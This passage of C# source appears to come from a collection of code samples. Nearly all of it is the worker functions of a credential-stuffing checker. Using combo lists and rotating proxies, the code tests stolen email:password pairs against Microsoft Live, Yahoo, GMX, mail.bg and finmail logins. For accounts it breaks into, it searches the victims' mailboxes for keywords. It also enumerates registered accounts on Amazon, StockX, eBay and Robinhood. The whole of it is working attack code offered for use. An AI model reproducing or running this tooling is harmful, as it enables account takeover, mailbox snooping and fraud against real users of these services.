                                    int a = Regex.Matches(get, line).Count;
                                    if (a == 0)
                                    {
                                        Variables.Custom++;
                                        Variables.Checked++;
                                        Variables.cps++;
                                        lock (Variables.WriteLock)
                                        {
                                            Variables.remove(combo);
                                            File.AppendAllText(Variables.results + "Customs.txt", combo + Environment.NewLine);
                                        }
                                    }
                                    else
                                    {
                                        Variables.Valid++;
                                        Variables.Checked++;
                                        Variables.cps++;
                                        lock (Variables.WriteLock)
                                        {
                                            Variables.remove(combo);
                                            if (Config.kekr_UI == "LOG")
                                            {
                                                Console.WriteLine($"[+] " + combo + " | Keyword: " + line + " | Results: " + a, Color.Green);
                                            }
                                            File.AppendAllText(Variables.results + $"{line}.txt", combo + " | Keyword: " + line + " | Results: " + a + Environment.NewLine);
                                        }
                                    }
                                }
                            }
                        }
                        else if (!text9.Contains("/account/challenge/password") && !text9.Contains("Redirecting to <a href=\"/account/challenge/fail"))
                        {
                            if (!text10.Contains("https://login.yahoo.com/account/challenge/email-verify") && !text10.Contains("https://login.yahoo.com/account/challenge/push") && !text9.Contains("Redirecting to <a href=\"/account/challenge/challenge-selector"))
                            {
                                Variables.Invalid++;
                                Variables.Checked++;
                                Variables.cps++;
                                lock (Variables.WriteLock)
                                {
                                    Variables.remove(combo);
                                }
                            }
                            else
                            {
                                Variables.Custom++;
                                Variables.Checked++;
                                Variables.cps++;
                                lock (Variables.WriteLock)
                                {
                                    Variables.remove(combo);
                                    File.AppendAllText(Variables.results + "Customs.txt", combo + Environment.NewLine);
                                }
                            }
                        }
                        else
                        {
                            Variables.combos.Enqueue(combo);
                            Variables.proxyIndex++;
                            Variables.Errors++;
                        }
                    }
                    else if (!text8.Contains("error\":\"messages.INVALID_USERNAME"))
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Esempio n. 13
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var req = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    req.Proxy.ConnectTimeout            = proxyTimeout;
                    req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(req.SslCertificateValidatorCallback,
                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));

                    req.IgnoreProtocolErrors = true;
                    req.AllowAutoRedirect    = true;
                    req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko");
                    req.AddHeader("Pragma", "no-cache");
                    req.AddHeader("Accept", "*/*");
                    req.AddHeader("accept-encoding", "null");
                    string get  = req.Get("https://login.live.com/login.srf").ToString();
                    string tok  = Regex.Match(get, "https://login.live.com/login.srf?contextid=(.*?)&").Groups[1].Value;
                    string ctx  = Regex.Match(get, "&bk=(.*?)&").Groups[1].Value;
                    string bk   = Regex.Match(get, "&uaid=(.*?)\"/>").Groups[1].Value;
                    string uaid = Regex.Match(get, "&pid=(.*?)\"/>").Groups[1].Value;
                    string pid  = Regex.Match(get, "&pid=(.*?)'").Groups[1].Value;
                    string ppft = Regex.Match(get, "name=\"PPFT\" id=\"i0327\" value=\"(.*?)\"/>'").Groups[1].Value;
                    req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko");
                    req.AddHeader("Pragma", "no-cache");
                    req.AddHeader("Accept", "*/*");
                    req.AddHeader("accept-encoding", "null");
                    string post = req.Post("https://login.live.com/ppsecure/post.srf?contextid=" + tok + "&bk=" + ctx + "&uaid=" + bk + "&pid=" + pid, "i13=0&login="******"&loginfmt=" + credentials[0] + "&type=11&LoginOptions=&lrt=&lrtPartition=&hisRegion=&hisScaleUnit=&passwd=" + credentials[1] + "&ps=&psRNGCDefaultType=&psRNGCEntropy=&psRNGCSLK=&canary=&ctx=&hpgrequestid=&PPFT=" + ppft + "&PPSX=Passpor&NewUser=&FoundMSAs=&fspost=&i21=&CookieDisclosure=0&IsFidoSupported=1&i2=1&i17=0&i18=&i19=187165", "application/x-www-form-urlencoded").ToString();
                    if (post.Contains("Your account or password is incorrect."))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                        }
                    }
                    if (post.Contains("That Microsoft account doesn\\\\'t exist."))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                        }
                    }
                    else if (post.Contains("name=\\\"t\\\" id=\\\"t\\\"") || post.Contains("type=\"hidden\" name=\"t\" id=\"t\" value=\""))
                    {
                        Variables.Valid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            if (Config.kekr_UI == "LOG")
                            {
                                Console.WriteLine($"[+] {combo}", Color.Green);
                            }
                            File.AppendAllText(Variables.results + "Hits.txt", combo + Environment.NewLine);
                        }
                    }
                    else if (post.Contains("JavaScript required to sign in"))
                    {
                        Variables.Custom++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            File.AppendAllText(Variables.results + "Customs.txt", combo + Environment.NewLine);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Esempio n. 14
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var req = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    req.Proxy.ConnectTimeout            = proxyTimeout;
                    req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(req.SslCertificateValidatorCallback,
                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));


                    req.AddHeader("cookie", "skin=noskin; session-id=140-6605874-9084130; session-id-time=2082787201l; ubid-main=130-2269163-6174416;");
                    string str     = $"appActionToken=Wj2FbTjxRyCm8iJHKhcdAyKci1jQYj3D&appAction=SIGNIN_PWD_COLLECT&subPageType=SignInClaimCollect&openid.return_to=ape%3AaHR0cHM6Ly93d3cuYW1hem9uLmNvbS8%2FcmVmXz1uYXZfY3VzdHJlY19zaWduaW4%3D&prevRID=ape%3AUDFHNjNRQjdQRVRHRzlHVFpBNU4%3D&workflowState=eyJ6aXAiOiJERUYiLCJlbmMiOiJBMjU2R0NNIiwiYWxnIjoiQTI1NktXIn0.ed67mlCj_dg-L93dlkTvutSUmRbO8ScOffQpsl-rNS1cKK8AKkMtcA.1w8qoLdRvPhUkj4-.3IHC7BywnYhAREaU8jfSKCCOP1jN13LOlB4EM2H7cZU3yRCX3Uu8yQ9HMi-OttA61wywsd-E4kWcRV_hdQlAxIS1GbnSG1I2f2BvU-7lY4L9NND2XYqMakiarDAhf8WZxDp0pFuGCrDBKjsplw_s28I8FF5xqOVztuGAbJmnkS9dp34zivVbPS4SdrFdAqhc45nuXJq51ES3MoDelKgaTZI6uUUvma3wta_jJsYGzhz2qLmZTejXx2cJm1H1TLa6YjWBMso7L7P2BWwjBPorUawkjtGdAzt_3yf4xIObRlgdjZddClrpJDIJ_Qg1KqZF6YEGiq_Ndn_bNcy0hreXSEI-4A9fHZSjF3dAwfhc-a_vb3fc.90ckTBHjVmO6o-3sns9-sw&email={credentials[0]}&password=123&create=0";
                    string request = req.Post("https://www.amazon.com/ap/signin", str, "application/x-www-form-urlencoded").ToString();
                    if (request.Contains("We cannot find an account with that email address"))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            File.AppendAllText(Variables.results + "Not Registered.txt", combo + Environment.NewLine);
                        }
                    }
                    else if (request.Contains("To better protect your account, please re-enter your password and then enter the characters as they are shown in the image below."))
                    {
                        Variables.Valid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            if (Config.kekr_UI == "LOG")
                            {
                                Console.WriteLine($"[+] {combo}", Color.Green);
                            }
                            File.AppendAllText(Variables.results + "Registered.txt", combo + Environment.NewLine);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Esempio n. 15
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var req = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    req.Proxy.ConnectTimeout            = proxyTimeout;
                    req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(req.SslCertificateValidatorCallback,
                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));

                    req.AddHeader("auth0-client", "eyJuYW1lIjoiYXV0aDAuanMiLCJ2ZXJzaW9uIjoiOS4xMC40In0=");
                    req.AddHeader("origin", "https://accounts.stockx.com");
                    req.AddHeader("referer", "https://accounts.stockx.com/login?state=g6Fo2SBwWkpXLThIOW56SFpPREJxM3JLa2o0UXlpMTQ1NXVuWKN0aWTZIGliWW1OTy1BSElvLUFWS3RiWlFRR1RDdk1EdExqQ2hEo2NpZNkgT1Z4cnQ0VkpxVHg3TElVS2Q2NjFXMER1Vk1wY0ZCeUQ&client=OVxrt4VJqTx7LIUKd661W0DuVMpcFByD&protocol=oauth2&prompt=login&audience=gateway.stockx.com&auth0Client=eyJuYW1lIjoiYXV0aDAuanMiLCJ2ZXJzaW9uIjoiOS4xNC4zIn0%3D&connection=production&redirect_uri=https%3A%2F%2Fstockx.com%2Fcallback%3Fpath%3D%2F&response_mode=query&response_type=code&scope=openid%20profile&stockx-currency=USD&stockx-default-tab=signup&stockx-is-gdpr=false&stockx-language=en-us&stockx-session-id=06575ff9-7e58-4595-a729-1c652e3e7269&stockx-url=https%3A%2F%2Fstockx.com&stockx-user-agent=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F89.0.4389.90%20Safari%2F537.36&ui_locales=en&lng=en");
                    req.AddHeader("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36");

                    var    res0  = req.Post("https://accounts.stockx.com/dbconnections/signup", "{\"client_id\":\"OVxrt4VJqTx7LIUKd661W0DuVMpcFByD\",\"connection\":\"production\",\"email\":\"" + credentials[0] + "\",\"password\":\"DooButt1234@#$\",\"user_metadata\":{\"first_name\":\"awdwada\",\"last_name\":\"wadwad\",\"language\":\"en-us\",\"gdpr\":\"\",\"first_name_phonetics\":\"\",\"last_name_phonetics\":\"\",\"defaultCurrency\":\"USD\"}}", "application/json");
                    string text0 = res0.ToString();
                    if (text0.Contains("invalid_signup"))
                    {
                        Variables.Valid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            if (Config.kekr_UI == "LOG")
                            {
                                Console.WriteLine($"[+] {combo}", Color.Green);
                            }
                            File.AppendAllText(Variables.results + "Registered.txt", combo + Environment.NewLine);
                        }
                    }
                    else if (text0.Contains("{\"user_id\":\""))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            File.AppendAllText(Variables.results + "Not Registered.txt", combo + Environment.NewLine);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Esempio n. 16
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var request = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    request.Proxy.ConnectTimeout            = proxyTimeout;
                    request.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(request.SslCertificateValidatorCallback,
                                                                                                                    new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));

                    string pre = request.Get("https://www.finmail.com/mail/?_task=login").ToString();

                    var TOKEN = Functions.LR(pre, "hidden\" name=\"_token\" value=\"", "\"><img ").FirstOrDefault();

                    var    res0  = request.Post("https://www.finmail.com/mail/?_task=login", $"_token={TOKEN}&_task=login&_action=login&_timezone=Australia%2FPerth&_url=&_user={WebUtility.UrlEncode(credentials[0])}&_pass={WebUtility.UrlEncode(credentials[1])}", "application/x-www-form-urlencoded");
                    string check = res0.ToString();

                    if (Convert.ToInt32(res0.StatusCode) == 401)
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                        }
                    }
                    else if (Convert.ToInt32(res0.StatusCode) == 200 || check.Contains("Email folder selection"))
                    {
                        Variables.Valid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            if (Config.kekr_UI == "LOG")
                            {
                                Console.WriteLine($"[+] {combo}", Color.Green);
                            }
                            File.AppendAllText(Variables.results + "Hits.txt", combo + Environment.NewLine);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Esempio n. 17
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var req = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    req.Proxy.ConnectTimeout            = proxyTimeout;
                    req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(req.SslCertificateValidatorCallback,
                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));


                    var user = WebUtility.UrlEncode("" + credentials[0] + "");
                    var pass = WebUtility.UrlEncode("" + credentials[1] + "");


                    req.AddHeader("User-Agent", "Mozilla/5.0 (Linux; Android 5.1; HUAWEI RIO-L01 Build/HuaweiRIO-L01) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36 bg.mail.mailbg");

                    var    res0  = req.Post("https://mail.bg/auth/login", "urlhash=&rememberme=0&longsession=1&httpssession=1&jan_offset=3600&jun_offset=3600&cors_capable=0&user="******"&pass="******"", "application/x-www-form-urlencoded");
                    string text0 = res0.ToString();

                    if (text0.Contains("http://mail.bg/forms/interests") || text0.Contains("http://mail.bg/idx"))
                    {
                        try
                        {
                            foreach (string keyword in File.ReadAllLines("Files//Keywords.txt"))
                            {
                                var OAID = req.Cookies.GetCookies("https://mail.bg/auth/login")["OAID"].Value;
                                var key  = Functions.Base64Encode(keyword);
                                req.AddHeader("origin", "https://mail.bg");
                                req.AddHeader("referer", "https://mail.bg/idx");
                                req.AddHeader("sec-fetch-dest", "empty");
                                req.AddHeader("sec-fetch-mode", "cors");
                                req.AddHeader("sec-fetch-site", "same-origin");
                                req.AddHeader("sec-gpc", "1");
                                req.AddHeader("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36");
                                req.AddHeader("x-requested-with", "XMLHttpRequest");

                                var    res1  = req.Post("https://mail.bg/mailbox/index/format/json/folder/inbox/flag/search:subjectfrom:" + key + ",,/page/1", "inbox=", "application/x-www-form-urlencoded");
                                string text1 = res1.ToString();

                                var count = Functions.LR(text1, "search:subjectfrom:<key>,,\":[\"", "\"]},").FirstOrDefault();
                                if (count == null || count == "0")
                                {
                                    Variables.Custom++;
                                    Variables.Checked++;
                                    Variables.cps++;
                                    lock (Variables.WriteLock)
                                    {
                                        Variables.remove(combo);
                                        File.AppendAllText(Variables.results + "Customs.txt", combo + Environment.NewLine);
                                    }
                                }
                                else
                                {
                                    Variables.Valid++;
                                    Variables.Checked++;
                                    Variables.cps++;
                                    lock (Variables.WriteLock)
                                    {
                                        Variables.remove(combo);
                                        if (Config.kekr_UI == "LOG")
                                        {
                                            Console.WriteLine($"[+] " + combo + " | Keyword: " + keyword + " | Results: " + count, Color.Green);
                                        }
                                        File.AppendAllText(Variables.results + $"{keyword}.txt", combo + " | Keyword: " + keyword + " | Results: " + count + Environment.NewLine);
                                    }
                                }
                            }
                        }
                        catch
                        {
                            Variables.Custom++;
                            Variables.Checked++;
                            Variables.cps++;
                            lock (Variables.WriteLock)
                            {
                                Variables.remove(combo);
                                File.AppendAllText(Variables.results + "Customs.txt", combo + Environment.NewLine);
                            }
                        }
                    }
                    else if (text0.Contains("https://mail.bg/auth/message/type/wuserpass/user/"))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Esempio n. 18
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var req = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    req.Proxy.ConnectTimeout            = proxyTimeout;
                    req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(req.SslCertificateValidatorCallback,
                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));


                    req.AddHeader("Authorization", "Basic Z214ZGFjaF9tYWlsYXBwX2FuZHJvaWQ6MUNLQzRYd3RyNXp3VVNHUGpkNUMyUnplNVBBeUJwR241eTBvVHhFaw==");
                    req.AddHeader("User-Agent", "gmx.android.androidmail/6.20.3 Dalvik/2.1.0 (Linux; U; Android 5.1; HUAWEI RIO-L01 Build/HuaweiRIO-L01)");
                    req.AddHeader("X-UI-APP", "gmx.android.androidmail/6.20.3");
                    req.AddHeader("Connection", "Keep-Alive");
                    req.AddHeader("Accept-Encoding", "gzip");

                    var    res0  = req.Post("https://oauth2.gmx.net/token", "grant_type=password&username="******"&password="******"&device_name=HUAWEI+HUAWEI+RIO-L01", "application/x-www-form-urlencoded");
                    string text1 = res0.ToString();

                    if (text1.Contains("access_token"))
                    {
                        var rt = Functions.JSON(text1, "refresh_token").FirstOrDefault();
                        req.AddHeader("Authorization", "Basic Z214ZGFjaF9tYWlsYXBwX2FuZHJvaWQ6MUNLQzRYd3RyNXp3VVNHUGpkNUMyUnplNVBBeUJwR241eTBvVHhFaw==");
                        req.AddHeader("User-Agent", "gmx.android.androidmail/6.20.3 Dalvik/2.1.0 (Linux; U; Android 5.1; HUAWEI RIO-L01 Build/HuaweiRIO-L01)");
                        req.AddHeader("X-UI-APP", "gmx.android.androidmail/6.20.3");
                        req.AddHeader("Connection", "Keep-Alive");
                        req.AddHeader("Accept-Encoding", "gzip");

                        var    res1  = req.Post("https://oauth2.gmx.net/token", "grant_type=refresh_token&refresh_token=" + rt + "&scope=mailbox_user_full_access+mailbox_user_status_access+foo+bar", "application/x-www-form-urlencoded");
                        string text2 = res1.ToString();

                        var at = Functions.JSON(text2, "access_token").FirstOrDefault();
                        try
                        {
                            foreach (string keyword in File.ReadAllLines("Files//Keywords.txt"))
                            {
                                req.AddHeader("Accept", "application/vnd.ui.trinity.messages+json");
                                req.AddHeader("Accept-Charset", "utf-8");
                                req.AddHeader("Authorization", "Bearer " + at + "");
                                req.AddHeader("User-Agent", "gmx.android.androidmail/6.20.3 Dalvik/2.1.0 (Linux; U; Android 5.1; HUAWEI RIO-L01 Build/HuaweiRIO-L01)");
                                req.AddHeader("X-UI-APP", "gmx.android.androidmail/6.20.3");
                                req.AddHeader("Connection", "Keep-Alive");
                                req.AddHeader("Accept-Encoding", "gzip");

                                var    res2  = req.Post("https://hsp.gmx.net/http-service-proxy1/service/msgsrv-gmx-mobile/Mailbox/primaryMailbox/Mail/Query?absoluteURI=false", "{\"condition\":[\"mail.header:from,replyTo,cc,bcc,to,subject:" + keyword + "\"],\"amount\":100,\"orderBy\":\"INTERNALDATE desc\",\"excludeFolderTypeOrId\":[\"OUTBOX\"],\"isTagsShowAll\":false,\"preferAbsoluteURIs\":false}", "application/json; charset=UTF-8");
                                string text3 = res2.ToString();

                                var totalCount = Functions.JSON(text3, "totalCount").FirstOrDefault();

                                if (totalCount == null || totalCount == "0")
                                {
                                    Variables.Custom++;
                                    Variables.Checked++;
                                    Variables.cps++;
                                    lock (Variables.WriteLock)
                                    {
                                        Variables.remove(combo);
                                        File.AppendAllText(Variables.results + "Customs.txt", combo + Environment.NewLine);
                                    }
                                }
                                else
                                {
                                    Variables.Valid++;
                                    Variables.Checked++;
                                    Variables.cps++;
                                    lock (Variables.WriteLock)
                                    {
                                        Variables.remove(combo);
                                        if (Config.kekr_UI == "LOG")
                                        {
                                            Console.WriteLine($"[+] " + combo + " | Keyword: " + keyword + " | Results: " + totalCount, Color.Green);
                                        }
                                        File.AppendAllText(Variables.results + $"{keyword}.txt", combo + " | Keyword: " + keyword + " | Results: " + totalCount + Environment.NewLine);
                                    }
                                }
                            }
                        }
                        catch
                        {
                            Variables.Custom++;
                            Variables.Checked++;
                            Variables.cps++;
                            lock (Variables.WriteLock)
                            {
                                Variables.remove(combo);
                                File.AppendAllText(Variables.results + "Customs.txt", combo + Environment.NewLine);
                            }
                        }
                    }
                    else if (text1.Contains("OR_PASSWORD_WRONG") || text1.Contains("ACCOUNT_NOT_FOUND") || text1.Contains("invalid_grant"))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Esempio n. 19
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var req = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    req.Proxy.ConnectTimeout            = proxyTimeout;
                    req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(req.SslCertificateValidatorCallback,
                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));

                    string check = req.Post("https://reg.ebay.com/reg/ajax", "email=" + credentials[0] + "&countryId=156&mode=5&eId=email&track=null&srcPage=2052190&ru=http%3A%2F%2Fwww.ebay.com", "application/x-www-form-urlencoded").ToString();

                    if (check.Contains("success\":false}"))
                    {
                        Variables.Valid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            if (Config.kekr_UI == "LOG")
                            {
                                Console.WriteLine($"[+] {combo}", Color.Green);
                            }
                            File.AppendAllText(Variables.results + "Registered.txt", combo + Environment.NewLine);
                        }
                    }
                    else if (check.Contains("success\":true}"))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            File.AppendAllText(Variables.results + "Not Registered.txt", combo + Environment.NewLine);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Esempio n. 20
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var req = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    req.Proxy.ConnectTimeout            = proxyTimeout;
                    req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(req.SslCertificateValidatorCallback,
                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));

                    string check = req.Put("https://api.robinhood.com/user/", "{\"email\":\"" + credentials[0] + "\",\"first_name\":\"awdwadaw\",\"last_name\":\"awdwadwa\",\"password\":\"awdwadawdawdwadaw\",\"username\":\"" + credentials[0] + "\",\"origin\":{\"locality\":\"US\"}}", "application/json").ToString();

                    if (check.Contains("A user with this email already exists"))
                    {
                        Variables.Valid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            if (Config.kekr_UI == "LOG")
                            {
                                Console.WriteLine($"[+] {combo}", Color.Green);
                            }
                            File.AppendAllText(Variables.results + "Registered.txt", combo + Environment.NewLine);
                        }
                    }
                    else if (check.Contains("\":\"Not found.\"}"))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            File.AppendAllText(Variables.results + "Not Registered.txt", combo + Environment.NewLine);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Esempio n. 21
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var req = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    req.Proxy.ConnectTimeout            = proxyTimeout;
                    req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(req.SslCertificateValidatorCallback,
                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));

                    req.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0";
